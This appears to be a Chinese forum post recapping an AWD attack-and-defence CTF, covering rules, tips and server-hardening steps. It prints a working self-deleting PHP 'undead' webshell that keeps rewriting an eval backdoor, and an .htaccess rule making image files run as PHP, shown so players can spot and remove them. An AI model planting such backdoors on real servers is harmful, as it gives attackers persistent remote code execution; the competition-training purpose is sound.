自己一次线下AWD线下赛总结

自己一次线下AWD线下赛总结

6号的时候参加了技协杯awd线下攻防赛,虽然被打的很惨,但tm很涨教训,感觉联通的那队有套路,8队6队都没防,一直在攻击,我靠,光辉之间那厮近9000多分。。。


AWD即Attack With Defence,一般awd团队赛都是三个人共同维护一台机器或者多台机器,两台Web,一台pwn,利用漏洞攻击其队的flag得分,其他队伍提交了你的flag你就会失分,那么此时就需要团队协作防御和攻击所维护的服务器

关于AWD一些固定规则:

  • 一般分配Web服务器,Pwn服务器,服务器或叫做Gamebox(多数为Linux)某处存在flag
  • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(没遇到过)
  • flag在主办方的设定下每隔一定时间(通常是5分钟)刷新一轮
  • 各队一般都有自己的初始分数,flag一旦被其他队伍拿走,该队扣除一定积分,其他队伍得分
  • 主办方会对每个队伍的服务进行check,服务宕机扣除分数
  • 一般每个队伍会给一个低权限用户,非root权限

awd赛前技巧

赛前一定要把线下所有用到的脚本在本地在跑一下,一些python常用库,
比赛时候,出现一血只要不是自己,看到谁被打了立马就去打被攻击打那个人,短时间内肯定来不及修复,自己被打了,可以去看流量,比赛过程中如果实在发现不了漏洞,可以多观察一下流量

防守技巧

Web题加固

  • 代码层,是否有webshell,是否有rce漏洞
  • 中间件层,apache解析漏洞,目录遍历等
  • 其他服务,mysql未授权访问什么的

内存马

awd中最头疼的应该就是不死马了,可以打别人,别人也会向你服务器种不死马
比如像如下:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>
我们如何发现它?
ls -a
如何解决?
rm .webshell.php && mkdir .webshell.php //建立一个和不死马一样名字的文件夹,这样不死马就写不进去了
完全杀死不死马,得清理内存
ps -aux|grep 'www-data'|awk'{print$2}'|xargs kill -9 // 杀进程得在root或者www-data权限下

webshell查杀

因为比赛现场大多数都是没有网盾,所以你的webshell扫描工具联网是用不了的,
一定要选择可以离线使用的webshell查杀工具,可以选择D盾,但距离比赛前一天一定要升级一下裤
长亭的牡云扫描器也是可以离线使用的

web加固

其他rce漏洞

  • 反序列化,命令注入等
  • 赛前一定把常用的各种cms都准备一遍,一般外国的比较多,代码实在审计不出来直接把代码覆盖,cms最新的漏洞,怎么利用赛场你要做的不光是防住,更多的是攻击,所以怎么代码审计能力一定要有
  • 其他的漏洞,就是一些常见的;
    sql注入
    XXE
    SSRF
    … …

根据敏感关键字回溯参数传递过程

  • .htaccess时常就会被当作后门使用,要注意,比如
<FilesMatch "\.(gif|jpe?g|png)$">
SetHandler application/x-httpd-php
</FilesMatch>

Apache安全加固

  • 账号设置

以专门的用户账号和用户组运行apache服务,这里要说明要熟悉不同系统apache.conf,httpd.conf的位置,centos,debian,ubuntu等
根据需要,为apache服务创建用户及用户组,如果没有设置用户和组,则新建用户,并在apache配置文件中进行指定

创建apache用户组

groupadd Apache

创建apache用户并加入apache用户组

useradd apache -g Apache

将下面两行设置参数加入apache配置文件http.conf,debian下可能是etc下的apache2/apache2.conf

User apache
Group apache

检查httpd.conf或者是apache2.conf配置文件中是否允许使用非专用账号运行(如root)apache服务
默认设置一般即符合要求,linux系统中默认使用apache或者nobody用户

  • 授权设置

严格控制apache主目录的访问权限,非超级用户不能修改该目录中的内容
aoache 的主目录应对于apache server配置文件httpd.conf中的Server Root控制项,设置为:
Server Root /usr/local/apahe

判定条件 非超级用户不能修改该目录的内容
检测操作:常识进行修改,看是否能修改目录中的内容
该目录一般设置为/etc/httpd目录,默认情况下属root 用户,其他用户不鞥修改目录中文件


先去吃饭,回来在更新

4赞

刺激啊,小伙计,学习学习

大佬就是不一样


服务器资源由ZeptoVM赞助

Partners Wiki IRC